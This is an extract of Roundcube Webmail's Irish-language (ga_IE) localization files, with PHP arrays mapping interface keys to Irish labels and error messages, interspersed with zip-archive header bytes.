$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\-wx�\�\%program/localization/ga_IE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Fáilte go $product';
$labels['username'] = 'Úsáideoir';
$labels['password'] = 'Pasfhocal';
$labels['server'] = 'Freastalaí';
$labels['login'] = 'Logáil isteach';
$labels['menu'] = 'Roghchlár';
$labels['logout'] = 'Scoir';
$labels['mail'] = 'Postas';
$labels['settings'] = 'Socruithe Pearsanta';
$labels['addressbook'] = 'Leabhair Seoltaí';
$labels['inbox'] = 'Isteach';
$labels['drafts'] = 'Dréachtaí';
$labels['sent'] = 'Amach';
$labels['trash'] = 'Bosca bruscair';
$labels['junk'] = 'Dramhaíl';
$labels['show_real_foldernames'] = 'Taispeáin fíorainmneacha i gcomhair fillteáin faoi leith';
$labels['subject'] = 'Ábhair';
$labels['from'] = 'Seolaí';
$labels['sender'] = 'Seoltóir';
$labels['to'] = 'Chuig';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Cóip cheilte';
$labels['replyto'] = 'Freagair go';
$labels['date'] = 'Dáta';
$labels['size'] = 'Méid';
$labels['priority'] = 'Tosaíocht';
$labels['organization'] = 'Eagraíocht';
$labels['mailboxlist'] = 'Fillteán';
$labels['messagesfromto'] = 'Teachtaireachta as $from go $to as $count';
$labels['messagenrof'] = 'Teachtaireacht $nr as $count';
$labels['fromtoshort'] = '$from – $to as $count';
$labels['copy'] = 'Macasamhlaigh';
$labels['move'] = 'Bog';
$labels['moveto'] = 'Bog chuig...';
$labels['copyto'] = 'Macasamhlaigh chuig...';
$labels['download'] = 'Íosluchtú';
$labels['open'] = 'Oscail';
$labels['showattachment'] = 'Taispeáin';
$labels['showanyway'] = 'Taispeáin é ar aon nós';
$labels['filename'] = 'Ainm an chomhaid';
$labels['filesize'] = 'Toirt';
$labels['addtoaddressbook'] = 'Sábháil i mo leabhair seoltaí';
$labels['sun'] = 'Do';
$labels['mon'] = 'Lu';
$labels['tue'] = 'Má';
$labels['wed'] = 'Cé';
$labels['thu'] = 'Dé';
$labels['fri'] = 'Ao';
$labels['sat'] = 'Sa';
$labels['sunday'] = 'Domhnach';
$labels['monday'] = 'An Luan';
$labels['tuesday'] = 'An Mháirt';
$labels['wednesday'] = 'An Chéadaoin';
$labels['thursday'] = 'An Déardaoin';
$labels['friday'] = 'Aoine';
$labels['saturday'] = 'An Satharn';
$labels['jan'] = 'Ean';
$labels['feb'] = 'Fea';
$labels['mar'] = 'Már';
$labels['apr'] = 'Aib';
$labels['may'] = 'Bea';
$labels['jun'] = 'Mei';
$labels['jul'] = 'Iúi';
$labels['aug'] = 'Lún';
$labels['sep'] = 'MFó';
$labels['oct'] = 'DFó';
$labels['nov'] = 'Sam';
$labels['dec'] = 'Nol';
$labels['longjan'] = 'Eanáir';
$labels['longfeb'] = 'Feabhra';
$labels['longmar'] = 'Márta';
$labels['longapr'] = 'Aibreán';
$labels['longmay'] = 'Bealtaine';
$labels['longjun'] = 'Meitheamh';
$labels['longjul'] = 'Iúil';
$labels['longaug'] = 'Lúnasa';
$labels['longsep'] = 'Meán Fómhair';
$labels['longoct'] = 'Deireadh Fómhair';
$labels['longnov'] = 'Samhain';
$labels['longdec'] = 'Nollaig';
$labels['today'] = 'Inniu';
$labels['refresh'] = 'Athnuaigh';
$labels['checkmail'] = 'Seiceáil chun teachtaireacht nua';
$labels['compose'] = 'Scríobh teachtaireacht';
$labels['writenewmessage'] = 'Scríobh teachtaireacht nua';
$labels['reply'] = 'Freagair';
$labels['replytomessage'] = 'Scríobh freagra chun an seolaí';
$labels['replytoallmessage'] = 'Scríobh freagra chun an seolaí agus na faighteoir';
$labels['replyall'] = 'Freagra gach';
$labels['forward'] = 'Cur ar aghaidh';
$labels['forwardattachment'] = 'Seol ar aghaidh mar cheangaltán é';
$labels['forwardmessage'] = 'Seol ar aghaidh an teachtaireacht';
$labels['bouncemsg'] = 'Athsheol';
$labels['bounce'] = 'Athsheol';
$labels['deletemessage'] = 'Scrois an teachtaireacht';
$labels['movemessagetotrash'] = 'Bog an teachtaireacht chuig an bosca bruscair';
$labels['printmessage'] = 'Clóbhuail an teachtaireacht seo';
$labels['previousmessage'] = 'Taispeáin an teachtaireacht roimhe seo';
$labels['firstmessage'] = 'Taispeáin an chéad teachtaireacht eile';
$labels['nextmessage'] = 'Taispeáin an teachtaireacht ina dhiaidh sin';
$labels['lastmessage'] = 'Taispeáin an teachtaireacht deireanach';
$labels['backtolist'] = 'Téigh ar ais go dtí an liosta teachtaireachta';
$labels['viewsource'] = 'Éiriú bunchód';
$labels['mark'] = 'Rianaigh';
$labels['markmessages'] = 'Rianaigh teachtaireachtaí';
$labels['markread'] = 'Léite';
$labels['markunread'] = 'Mar neamhléite';
$labels['moreactions'] = 'Tuilleadh gníomhartha...';
$labels['markallread'] = 'Rianaigh uile mar léite';
$labels['folders-cur'] = 'An fillteán roghnaithe amháin';
$labels['folders-sub'] = 'An fillteán roghnaithe agus a fhofhillteáin';
$labels['folders-all'] = 'Gach fillteán';
$labels['more'] = 'Tuilleadh';
$labels['back'] = 'Siar';
$labels['options'] = 'Roghanna';
$labels['composeoptions'] = 'Roghanna cumadóireachta';
$labels['optionsandattachments'] = 'Roghanna agus ceangaltáin';
$labels['actions'] = 'Gníomhartha';
$labels['first'] = 'Céad';
$labels['last'] = 'Deireanach';
$labels['previous'] = 'Roimhe';
$labels['next'] = 'Ar aghaidh';
$labels['select'] = 'Roghnaigh';
$labels['selection'] = 'Roghnúchán';
$labels['all'] = 'Uile';
$labels['none'] = 'Dada';
$labels['currpage'] = 'An leathanach reatha';
$labels['isread'] = 'Léite';
$labels['unread'] = 'Neamhléite';
$labels['flagged'] = 'Bratach curtha leis';
$labels['unanswered'] = 'Gan fhreagra';
$labels['withattachment'] = 'Le ceangaltán';
$labels['deleted'] = 'Scriosta';
$labels['undeleted'] = 'Nach bhfuil scriosta';
$labels['replied'] = 'Freagartha';
$labels['forwarded'] = 'Curtha ar aghaidh';
$labels['invert'] = 'Aisiompaigh';
$labels['filter'] = 'Scag';
$labels['list'] = 'Liosta';
$labels['threads'] = 'Snáitheanna';
$labels['expand-all'] = 'Fairsingigh Uile';
$labels['expand-unread'] = 'Fairsingigh na cinn neamhléite';
$labels['collapse-all'] = 'Leacaigh uile';
$labels['threaded'] = 'Snáithithe';
$labels['showunread'] = 'Taispeáin teachtaireachtaí neamhéite';
$labels['do_expand'] = 'gach snáithe';
$labels['expand_only_unread'] = 'le teachtaireachtaí neamhléite amháin';
$labels['fromto'] = 'Ó/Chuig';
$labels['flag'] = 'Cuir Bratach Air';
$labels['attachment'] = 'Ceangaltáin';
$labels['nonesort'] = 'Aon cheann';
$labels['sentdate'] = 'An dáta ar a seoladh é';
$labels['arrival'] = 'An dáta ar a shroich sé ';
$labels['asc'] = 'ag dul suas';
$labels['desc'] = 'ag dul síos';
$labels['layout'] = 'Leagan amach';
$labels['layoutwidescreen'] = 'Scáileán leathan';
$labels['layoutdesktop'] = 'Ríomhaire ar an gcrinlín';
$labels['layoutlist'] = 'Liosta';
$labels['folderactions'] = 'Gníomhartha do na fillteáin...';
$labels['compact'] = 'Comhbhrúigh';
$labels['empty'] = 'Folmhaigh';
$labels['importmessages'] = 'Tabhair teachtaireachtaí isteach';
$labels['quota'] = 'Toilleadh diosca atá athláimhe';
$labels['unknown'] = 'gan aithne';
$labels['unlimited'] = 'gan teorainn';
$labels['quotatotal'] = 'Teorainn';
$labels['quotaused'] = 'Úsáidte';
$labels['quotastorage'] = 'Slí ar an diosca';
$labels['quotamessage'] = 'Líon na dteachtaireachtaí';
$labels['shortheaderdate'] = 'Ar $date';
$labels['shortheaderto'] = 'Chuig $to ar $date';
$labels['shortheaderfrom'] = 'Ó $from ar an $date';
$labels['quicksearch'] = 'Mearcuardaigh';
$labels['searchplaceholder'] = 'Cuardaigh...';
$labels['resetsearch'] = 'Athshocraigh an cuardach';
$labels['msgtext'] = 'An teachtaireacht ar fad';
$labels['body'] = 'Colainn';
$labels['type'] = 'Cineál';
$labels['namex'] = 'Ainm';
$labels['searchscope'] = 'Cuimse';
$labels['currentfolder'] = 'An fillteán reatha';
$labels['subfolders'] = 'An ceann seo agus fofhillteáin';
$labels['allfolders'] = 'Gach fillteán';
$labels['searchinterval-1W'] = 'níos sine ná seachtain';
$labels['searchinterval-1M'] = 'níos sine ná mí';
$labels['searchinterval-1Y'] = 'níos sine ná bliain';
$labels['searchinterval1W'] = 'níos úire na seachtain';
$labels['searchinterval1M'] = 'níos úire ná mí';
$labels['searchinterval1Y'] = 'níos úire ná bliain';
$labels['openinextwin'] = 'Oscail i bhfuinneog nua';
$labels['emlsave'] = 'Íosluchtú (.eml)';
$labels['editasnew'] = 'Cuir in eagar mar cheann nua';
$labels['send'] = 'Seol';
$labels['sendmessage'] = 'Seol mo teachtaireacht láithreach bonn';
$labels['savemessage'] = 'Sábháil an dréachta seo';
$labels['addattachment'] = 'Suimigh Iatán';
$labels['charset'] = 'Foireann carachtar';
$labels['editortype'] = 'Sort eagarthóir';
$labels['returnreceipt'] = 'Admháil léite';
$labels['mailreplyintro'] = 'Ar an $date, scríobh $sender:';
$labels['originalmessage'] = 'An teachtaireacht bhunaidh';
$labels['selectimage'] = 'Roghnaigh íomhá';
$labels['addimage'] = 'Cuir íomhá leis';
$labels['selectmedia'] = 'Roghnaigh scannán';
$labels['addmedia'] = 'Cuir scannán leis';
$labels['encrypt'] = 'Criptigh';
$labels['encryptmessage'] = 'Criptigh an teachtaireacht';
$labels['encryptandsign'] = 'Criptigh agus sínigh';
$labels['keylength'] = 'Bearta';
$labels['keyexpired'] = 'Éagtha';
$labels['keyrevoked'] = 'Aisghairmthe';
$labels['bccinstead'] = 'Bain feidhm as Bcc';
$labels['addheader'] = 'Cuir faighteoir leis (ceanntásc)';
$labels['insert'] = 'Ionsáigh';
$labels['recipient'] = 'Faighteoir';
$labels['spellcheck'] = 'Litrigh';
$labels['checkspelling'] = 'Fiosrú ar mo litriú';
$labels['resumeediting'] = 'Athdhúisigh eagarthóireacht';
$labels['revertto'] = 'Filleadh ar';
$labels['restore'] = 'Cuir ar ais';
$labels['restoremessage'] = 'Cuir an teachtaireacht ar ais?';
$labels['ignore'] = 'Ná bac leis';
$labels['responses'] = 'Freagraí';
$labels['insertresponse'] = 'Cuir isteach freagra';
$labels['newresponse'] = 'Cruthaigh freagra nua';
$labels['addresponse'] = 'Cuir freagra leis';
$labels['editresponse'] = 'Cuir an freagra in eagar';
$labels['editresponses'] = 'Cuir na freagraí in eagar';
$labels['responsename'] = 'Ainm';
$labels['responsetext'] = 'Téacs an fhreagra';
$labels['attach'] = 'Ceangail';
$labels['attachments'] = 'Iatání';
$labels['upload'] = 'Aistriú suas';
$labels['uploadprogress'] = '$percent ($current as $total)';
$labels['close'] = 'Dún';
$labels['messageoptions'] = 'Roghanna teachtaireachtaí...';
$labels['attachmentrename'] = 'Athainmnigh an ceangaltán';
$labels['low'] = 'Íseal';
$labels['lowest'] = 'Is Ísle';
$labels['normal'] = 'Gnách';
$labels['high'] = 'Ard';
$labels['highest'] = 'Is Airde';
$labels['nosubject'] = '(Níl aon Ábhair)';
$labels['showimages'] = 'Taispeáin na híomhánna';
$labels['allow'] = 'Ceadaigh';
$labels['alwaysshow'] = 'Taispeáin íomhánna ó $sender i gcónaí';
$labels['isdraft'] = 'Seo dréachttheachtaireacht.';
$labels['andnmore'] = '$nr eile...';
$labels['details'] = 'Mionsonraí';
$labels['summary'] = 'Achoimre';
$labels['headers'] = 'Ceannteidil';
$labels['allheaders'] = 'Gach ceannteideal...';
$labels['togglemoreheaders'] = 'Taispeáin tuilleadh ceannteidil theachtaireachtaí';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Téacs amháin';
$labels['savesentmessagein'] = 'Coimeád an teachtaireacht seolta i';
$labels['dontsave'] = 'ná coimeád é';
$labels['addcc'] = 'Cuir Cc leis';
$labels['addbcc'] = 'Cuir Bcc leis';
$labels['receiptread'] = 'Admháil fillte (léite)';
$labels['zoomin'] = 'Gluais Isteach';
$labels['zoomout'] = 'Gluais Amach';
$labels['rotate'] = 'Rothlaigh';
$labels['increaseimage'] = 'Méadaigh méid na híomhá';
$labels['decreaseimage'] = 'Laghdaigh méid na híomhá';
$labels['rotateimage'] = 'Rothlaigh an íomhá';
$labels['showtools'] = 'Taispeáin uirlisí don íomhánna';
$labels['hidetools'] = 'Folaigh uirlisí don íomhá';
$labels['name'] = 'Leasainm';
$labels['firstname'] = 'Ainm baiste';
$labels['surname'] = 'Sloinne';
$labels['middlename'] = 'An Dara hAinm';
$labels['nameprefix'] = 'Réimír';
$labels['namesuffix'] = 'Iarmhír';
$labels['nickname'] = 'Leasainm';
$labels['jobtitle'] = 'Teideal oibre';
$labels['department'] = 'Rannóg';
$labels['gender'] = 'Gnéas';
$labels['maidenname'] = 'Sloinne roimh phósadh';
$labels['email'] = 'Ríomhphost';
$labels['phone'] = 'Uimhir ghutháin';
$labels['address'] = 'Seoladh';
$labels['street'] = 'Sráid';
$labels['locality'] = 'Cathair';
$labels['zipcode'] = 'Cód Poist';
$labels['region'] = 'Stát/Cúige';
$labels['country'] = 'Tír';
$labels['birthday'] = 'Lá breithe';
$labels['anniversary'] = 'Cothrom lae';
$labels['website'] = 'Suíomh gréasáin';
$labels['instantmessenger'] = 'TM';
$labels['notes'] = 'Nótaí';
$labels['male'] = 'fireann';
$labels['female'] = 'baineann';
$labels['manager'] = 'Bainisteoir';
$labels['assistant'] = 'Cúntóir';
$labels['spouse'] = 'Céile';
$labels['allfields'] = 'Gach réimse';
$labels['search'] = 'Cuardaigh';
$labels['searchresult'] = 'Toradh an chuardaigh';
$labels['advsearch'] = 'Cuardach casta';
$labels['advanced'] = 'Ardroghanna';
$labels['other'] = 'Eile';
$labels['printcontact'] = 'Cuir an teagmháil i gcló';
$labels['qrcode'] = 'Cód QR';
$labels['typehome'] = 'Baile';
$labels['typework'] = 'Obair';
$labels['typeother'] = 'Eile';
$labels['typemobile'] = 'Soghluaiste';
$labels['typemain'] = 'Príomh';
$labels['typehomefax'] = 'Faics baile';
$labels['typeworkfax'] = 'Faics oibre';
$labels['typecar'] = 'Gluaisteán';
$labels['typepager'] = 'Glaoire';
$labels['typevideo'] = 'Físeán';
$labels['typeassistant'] = 'Cúntóir';
$labels['typehomepage'] = 'Leathanach baile';
$labels['typeblog'] = 'Blag';
$labels['typeprofile'] = 'Beathaisnéisín';
$labels['addfield'] = 'Cuir réimse leis...';
$labels['addcontact'] = 'Cuir teagmháil leis';
$labels['editcontact'] = 'Chuir chara in eagar';
$labels['contacts'] = 'Teagmhálacha';
$labels['contactproperties'] = 'Airíonna na teagmhálaí';
$labels['contactnameandorg'] = 'Ainm agus Eagraíocht';
$labels['personalinfo'] = 'Faisnéis phearsanta';
$labels['personal'] = 'Pearsanta';
$labels['contactphoto'] = 'Grianghraf den teagmhálaí';
$labels['edit'] = 'Athraigh';
$labels['cancel'] = 'Cealaigh';
$labels['save'] = 'Sábháil';
$labels['delete'] = 'Scrios';
$labels['discard'] = 'Cuileáil';
$labels['continue'] = 'Lean ar aghaidh';
$labels['ok'] = 'Tá go maith';
$labels['rename'] = 'Athainmnigh';
$labels['addphoto'] = 'Cuir leis';
$labels['replacephoto'] = 'Ionadaigh';
$labels['uploadphoto'] = 'Uasluchtaigh grianghraf';
$labels['choosefile'] = 'Roghnaigh comhad...';
$labels['choosefiles'] = 'Roghnaigh comhaid...';
$labels['browse'] = 'Siortaigh';
$labels['newcontact'] = 'Cruthaigh teagmháil nua';
$labels['deletecontact'] = 'Scrios na daoine seo';
$labels['composeto'] = 'Scríobh teachtaireacht go';
$labels['contactsfromto'] = 'Daoine as $from to $to as $count';
$labels['print'] = 'Priontáil';
$labels['export'] = 'Easportáil';
$labels['exportall'] = 'Tabhair amach uile';
$labels['exportsel'] = 'Bain amach an ní roghnaithe';
$labels['newgroup'] = 'Cruthaigh baicle nua';
$labels['addgroup'] = 'Cuir baicle leis';
$labels['grouprename'] = 'Athainmnigh an bhaicle';
$labels['groupdelete'] = 'Scrios an bhaicle';
$labels['uponelevel'] = 'Suas';
$labels['previouspage'] = 'Taispeáin an foireann roimhe seo';
$labels['firstpage'] = 'Taispeáin an céad foireann';
$labels['nextpage'] = 'Taispeáin an foireann ina dhiaidh sin';
$labels['lastpage'] = 'Taispeáin an foireann deireanach';
$labels['group'] = 'Baicle';
$labels['groups'] = 'Grúpaí';
$labels['personaladrbook'] = 'Seoltaí Pearsanta';
$labels['searchdelete'] = 'Scrios an cuardach';
$labels['import'] = 'Tabhair isteach';
$labels['importfromfile'] = 'Tabhair isteach ó chomhad';
$labels['importtarget'] = 'Cuir teagmhálaithe le';
$labels['importreplace'] = 'Ionadaigh an leabhar seoltaí iomlán';
$labels['done'] = 'Déanta';
$labels['settingsfor'] = 'Socruithe chun';
$labels['about'] = 'Maidir le';
$labels['preferences'] = 'Tosaíocht';
$labels['userpreferences'] = 'Tosaíocht Pearsanta';
$labels['editpreferences'] = 'Athraigh tosaíocht pearsanta';
$labels['identities'] = 'Céannachtaí';
$labels['addidentity'] = 'Cuir céannacht leis';
$labels['editidentity'] = 'Cuir céannacht in eagar';
$labels['identityencryption'] = 'Criptiúchán';
$labels['preferhtml'] = 'Taispeáin an HTML';
$labels['htmlmessage'] = 'Teachtaireacht HTML';
$labels['messagepart'] = 'Cuid';
$labels['digitalsig'] = 'Síniú Digiteach';
$labels['dateformat'] = 'Leagan amach an dáta';
$labels['timeformat'] = 'Leagan amach an am';
$labels['prettydate'] = 'Dátaí Dheas';
$labels['setdefault'] = 'Socraigh an réamhshocraithe';
$labels['autodetect'] = 'Uathoibríoch';
$labels['language'] = 'Teanga';
$labels['timezone'] = 'Crios ama';
$labels['pagesize'] = 'Rónna in aghaidh gach leathanach';
$labels['signature'] = 'Mana clabhsúir';
$labels['dstactive'] = 'Laethúil um shamhradh';
$labels['showinextwin'] = 'Oscail an teachtaireacht i bhfuinneog nua';
$labels['composeextwin'] = 'Cum i bhfuinneog nua';
$labels['htmleditor'] = 'Scríobh teachtaireachta HTML';
$labels['htmlsignature'] = 'Mana clabhsúir HTML';
$labels['showemail'] = 'Taispeáin an seoladh ríomhphoist leis an ainm taispeána';
$labels['previewpane'] = 'Taispeáin an pána réamhamharc';
$labels['skin'] = 'Craiceann an comhéadain';
$labels['logoutclear'] = 'Glan Bruscar nuair a scoirtear';
$labels['logoutcompact'] = 'Comhbhrúigh an Bosca Isteach nuair a scoirtear';
$labels['uisettings'] = 'Comhéadan';
$labels['serversettings'] = 'Socruithe an Fhreastalaithe';
$labels['mailboxview'] = 'Amharc Bosca Poist';
$labels['askuser'] = 'iarr orm';
$labels['autosend'] = 'seol admháil';
$labels['ignorerequest'] = 'Ná bac leis an iarratas';
$labels['readwhendeleted'] = 'Rianaigh an teachtaireacht mar léite nuair a scriostar í';
$labels['skipdeleted'] = 'Ná taispeáin teachtaireachtaí scriosta';
$labels['fromknownsenders'] = 'ó sheoltóirí a bhfuil aithne orthu';
$labels['always'] = 'riamh';
$labels['showinlineimages'] = 'Taispeáin na híomhánna ceangailte faoin teachtaireacht';
$labels['autosavedraft'] = 'Sábháil dréachta go huathoibríoch';
$labels['everynminutes'] = 'gach $n nóiméad';
$labels['refreshinterval'] = 'Athnuaigh (lorg teachtaireachtaí nua, agus araile)';
$labels['never'] = 'riamh';
$labels['immediately'] = 'láithreach';
$labels['messagesdisplaying'] = 'Ag taispeáint na teachtaireachtaí';
$labels['messagescomposition'] = 'Ag cumadh na teachtaireachtaí';
$labels['2231folding'] = 'RFC 2231 iomlán (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 iomlán (eile)';
$labels['advancedoptions'] = 'Ardroghanna';
$labels['toggleadvancedoptions'] = 'Scoránaigh na hardroghanna';
$labels['focusonnewmessage'] = 'Dírigh fuinneog an líonléitheora ar theachtaireacht nua';
$labels['checkallfolders'] = 'Dearbháil gach fillteán do theachtaireachtaí nua';
$labels['mainoptions'] = 'Príomhroghanna';
$labels['browseroptions'] = 'Roghanna líonléitheora';
$labels['section'] = 'Roinn';
$labels['maintenance'] = 'Cothabháil';
$labels['newmessage'] = 'Teachtaireacht Nua';
$labels['signatureoptions'] = 'Roghanna don Síniú';
$labels['whenreplying'] = 'Nuair atá freagra á thabhairt';
$labels['replyempty'] = 'ná luaigh an teachtaireacht bhunaidh';
$labels['replytopposting'] = 'tosaigh an teachtaireacht nua os cionn an lua';
$labels['replybottomposting'] = 'tosaigh an teachtaireacht nua faoin lua';
$labels['newmessageonly'] = 'teachtaireacht nua amháin';
$labels['replyandforwardonly'] = 'freagraí agus teachtaireachtaí curtha ar aghaidh amháin';
$labels['insertsignature'] = 'Ionsáigh an síniú';
$labels['automarkread'] = 'Rianaigh teachtaireachtaí mar léite';
$labels['afternseconds'] = 'tar éis $n soicindí';
$labels['defaultabook'] = 'An leabhar seoltaí réamhshocraithe';
$labels['privatemode'] = 'Príobháideach (Baile)';
$labels['businessmode'] = 'Gnó (Obair)';
$labels['spellcheckoptions'] = 'Roghanna litreora';
$labels['addtodict'] = 'Cuir leis an bhfoclóir é';
$labels['inline'] = 'i líne';
$labels['asattachment'] = 'mar cheangaltán';
$labels['replyalldefault'] = 'freagair uile';
$labels['allmessages'] = 'gach teachtaireacht';
$labels['folder'] = 'Fillteán';
$labels['folders'] = 'Fillteán';
$labels['foldername'] = 'Ainm fillteán';
$labels['subscribed'] = 'Síntiú';
$labels['messagecount'] = 'Teachtaireachtaí';
$labels['create'] = 'Cruthaigh';
$labels['createfolder'] = 'Cruthaigh fillteán nua';
$labels['managefolders'] = 'Stiúir na fillteán';
$labels['specialfolders'] = 'Sainfhillteáin';
$labels['properties'] = 'Airíonna';
$labels['folderproperties'] = 'Airíonna an fhillteáin';
$labels['parentfolder'] = 'An máthairfhillteán';
$labels['location'] = 'Suíomh';
$labels['info'] = 'Faisnéis';
$labels['getfoldersize'] = 'Brúigh chun méid an fhillteáin a fháil';
$labels['foldertype'] = 'An cineál fillteán';
$labels['personalfolder'] = 'Fillteán príobháideach';
$labels['sharedfolder'] = 'Fillteán poiblí';
$labels['findfolders'] = 'Aimsigh fillteáin';
$labels['findmail'] = 'Aimsigh teachtaireachtaí poist';
$labels['namespace.personal'] = 'Pearsanta';
$labels['namespace.other'] = 'Daoine eile';
$labels['namespace.shared'] = 'Comhroinnte';
$labels['dualuselabel'] = 'Ina bhfuil amháin';
$labels['dualusemail'] = 'teachtaireachtaí';
$labels['dualusefolder'] = 'fillteáin';
$labels['generate'] = 'Cruthaigh';
$labels['openmailvelopesettings'] = 'Oscail Socruithe Mailvelope';
$labels['encryption'] = 'Criptiúchán';
$labels['sortby'] = 'Sórtáil trí';
$labels['sortasc'] = 'Sórtáil in ord méadaitheach';
$labels['sortdesc'] = 'Sórtáil in ord neartaitheach';
$labels['undo'] = 'Cealaigh';
$labels['installedplugins'] = 'Breiseáin suiteáilte';
$labels['plugin'] = 'Breiseán';
$labels['version'] = 'Leagan';
$labels['source'] = 'Foinse';
$labels['license'] = 'Ceadúnas';
$labels['support'] = 'Faigh tacaíocht';
$labels['dateformatY'] = 'BBBB';
$labels['dateformaty'] = 'BB';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'LL';
$labels['dateformatj'] = 'L';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Béarla';
$labels['westerneuropean'] = 'Iarthar na hEorpach';
$labels['easterneuropean'] = 'Oirthear na hEorpa';
$labels['hebrew'] = 'Eabhrais';
$labels['turkish'] = 'Tuircis';
$labels['celtic'] = 'Ceilteach';
$labels['chinese'] = 'Síneach';
$labels['arialabeltopnav'] = 'Rialtán fuinneoige';
$labels['arialabelmailpreviewframe'] = 'Réamhamharc ar an teachtaireacht';
$labels['arialabelmessagebody'] = 'Corp na Teachtaireachta';
$labels['arialabelmessageactions'] = 'Gníomhartha na teachtaireachta';
$labels['arialabelmessageheaders'] = 'Ceanntáisc na teachtaireachta';
$labels['arialabelforwardingoptions'] = 'Roghanna cur ar aghaidh';
$labels['arialabelmarkmessagesas'] = 'Rianaigh na teachtaireachtaí roghnaithe mar...';
$labels['arialabelcomposeoptions'] = 'Roghanna do chumadh teachtaireachta';
$labels['arialabelattachmentmenu'] = 'Roghanna do cheangaltáin';
$labels['arialabelmailtomenu'] = 'Roghanna do sheoltaí ríomhphoist';
$labels['arialabelattachmentpreview'] = 'Réamhamharc ar cheangaltáin';
$labels['arialabelsearchterms'] = 'Téarmaí cuardaigh';
$labels['arialabelimagetools'] = 'Uirlisí don íomhá';
PK
h�\�O�_@;@;'program/localization/ga_IE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Tharla botún!';
$messages['loginfailed']  = 'Níor éirigh leis an síniú isteach.';
$messages['cookiesdisabled'] = 'Ní ghlacann do líonléitheoir le fianáin.';
$messages['sessionerror'] = 'Tá an seisiúin neamhbhailí nó as feidhm.';
$messages['storageerror'] = 'Theip ar an iarracht chun nasc leis an bhfreastalaí Prótacal Rochtana Teachtaireachtaí Idirlín (IMAP)';
$messages['servererror'] = 'Botún ar an bhfreastalaí!';
$messages['servererrormsg'] = 'Botún freastalaithe: %msg';
$messages['accountlocked'] = 'Bhí an iomarca iarrachtaí chun síniú isteach nár éirigh leo. Déan iarracht arís níos déanaí.';
$messages['connerror'] = 'Botún nasctha (Theip air an freastalaí a aimsiú)!';
$messages['dberror'] = 'Botún sa bhunachar sonraí!';
$messages['windowopenerror'] = 'Cuireadh bac ar an bhfuinneog aníos!';
$messages['requesttimedout'] = 'D\'imigh an t-iarratas thar am';
$messages['errorreadonly'] = 'Ní féidir an oibríocht sin a dhéanamh. Tá an fillteán inléite amháin.';
$messages['errornoperm'] = 'Ní féidir an oibríocht sin a dhéanamh. Diúltaíodh cead duit.';
$messages['erroroverquota'] = 'Ní féidir an oibríocht sin a dhéanamh. Níl aon slí saor fágtha ar an ndiosc.';
$messages['erroroverquotadelete'] = 'Níl aon slí saor fágtha ar an ndiosca. Brúigh SHIFT+DEL chun teachtaireacht a scriosadh.';
$messages['invalidrequest'] = 'Iarratas neamhbhailí! Níor cuireadh sonraí i dtaisce.';
$messages['invalidhost'] = 'Ainm freastalaithe neamhbhailí.';
$messages['nomessagesfound'] = 'Níor aimsíodh aon teachtaireacht sa bhosca poist seo.';
$messages['loggedout'] = 'Chuir tú deireadh leis an dreas seo. Slán leat!';
$messages['mailboxempty'] = 'Tá an bosca poist folamh';
$messages['nomessages'] = 'Níl teachtaireachtaí ann';
$messages['refreshing'] = 'Ag athnuaigh...';
$messages['loading'] = 'Ag luchtú...';
$messages['uploading'] = 'Ag luchtú an chomhaid...';
$messages['attaching'] = 'Ag ceangail an chomhaid...';
$messages['uploadingmany'] = 'Ag uasluchtú comhaid...';
$messages['loadingdata'] = 'Ag luchtú sonraí...';
$messages['checkingmail'] = 'Ag dearbháil an bhfuil teachtaireachtaí nua ann...';
$messages['sendingmessage'] = 'Ag seoladh na teachtaireachta...';
$messages['messagesent'] = 'Seoladh an teachtaireacht go rathúil.';
$messages['savingmessage'] = 'Ag cur an teachtaireacht i dtaisce...';
$messages['messagesaved'] = 'Cuireadh an teachtaireacht i dtaisce sna Dréachtaí.';
$messages['successfullysaved'] = 'Cuireadh i dtaisce go rathúil é.';
$messages['savingresponse'] = 'Ag cur i dtaisce an téacs freagartha...';
$messages['deleteresponseconfirm'] = 'An bhfuil tú cinnte gur mian leat an téacs freagartha seo a scriosadh?';
$messages['nocontactselected'] = 'Níl teagmhálaí roghnaithe agat fós.';
$messages['addedsuccessfully'] = 'Cuireadh an teagmhálaí go rathúil sa leabhar seoltaí.';
$messages['contactexists'] = 'Tá teagmhálaí leis an seoladh ríomhphoist céanna ann cheana féin.';
$messages['contactnameexists'] = 'Tá teagmhálaí leis an ainm céanna ann cheana féin.';
$messages['blockedimages'] = 'Ar mhaithe le do phríobháideachas a chosaint, tá bac ar íomhánna cianda sa teachtaireacht seo.';
$messages['blockedresources'] = 'Ar mhaithe le do phríobháideachas a chosaint, tá bac ar acmhainní cianda.';
$messages['encryptedmessage'] = 'Is teachtaireacht chriptithe í seo agus ní féidir í a thaispeáint. Is dona linn sin!';
$messages['externalmessagedecryption'] = 'Is teachtaireacht chriptithe í seo agus is féidir í a dhíchriptiú le breiseán ar do líonléitheoir.';
$messages['nopubkeyfor'] = 'Níor aimsíodh eochair phoiblí bhailí i gcomhair $email';
$messages['encryptpubkeysfound'] = 'Aimsíodh na heochracha poiblí seo a leanas:';
$messages['nocontactsfound'] = 'Níor aimsíodh aon duine sa leabhar seoltaí.';
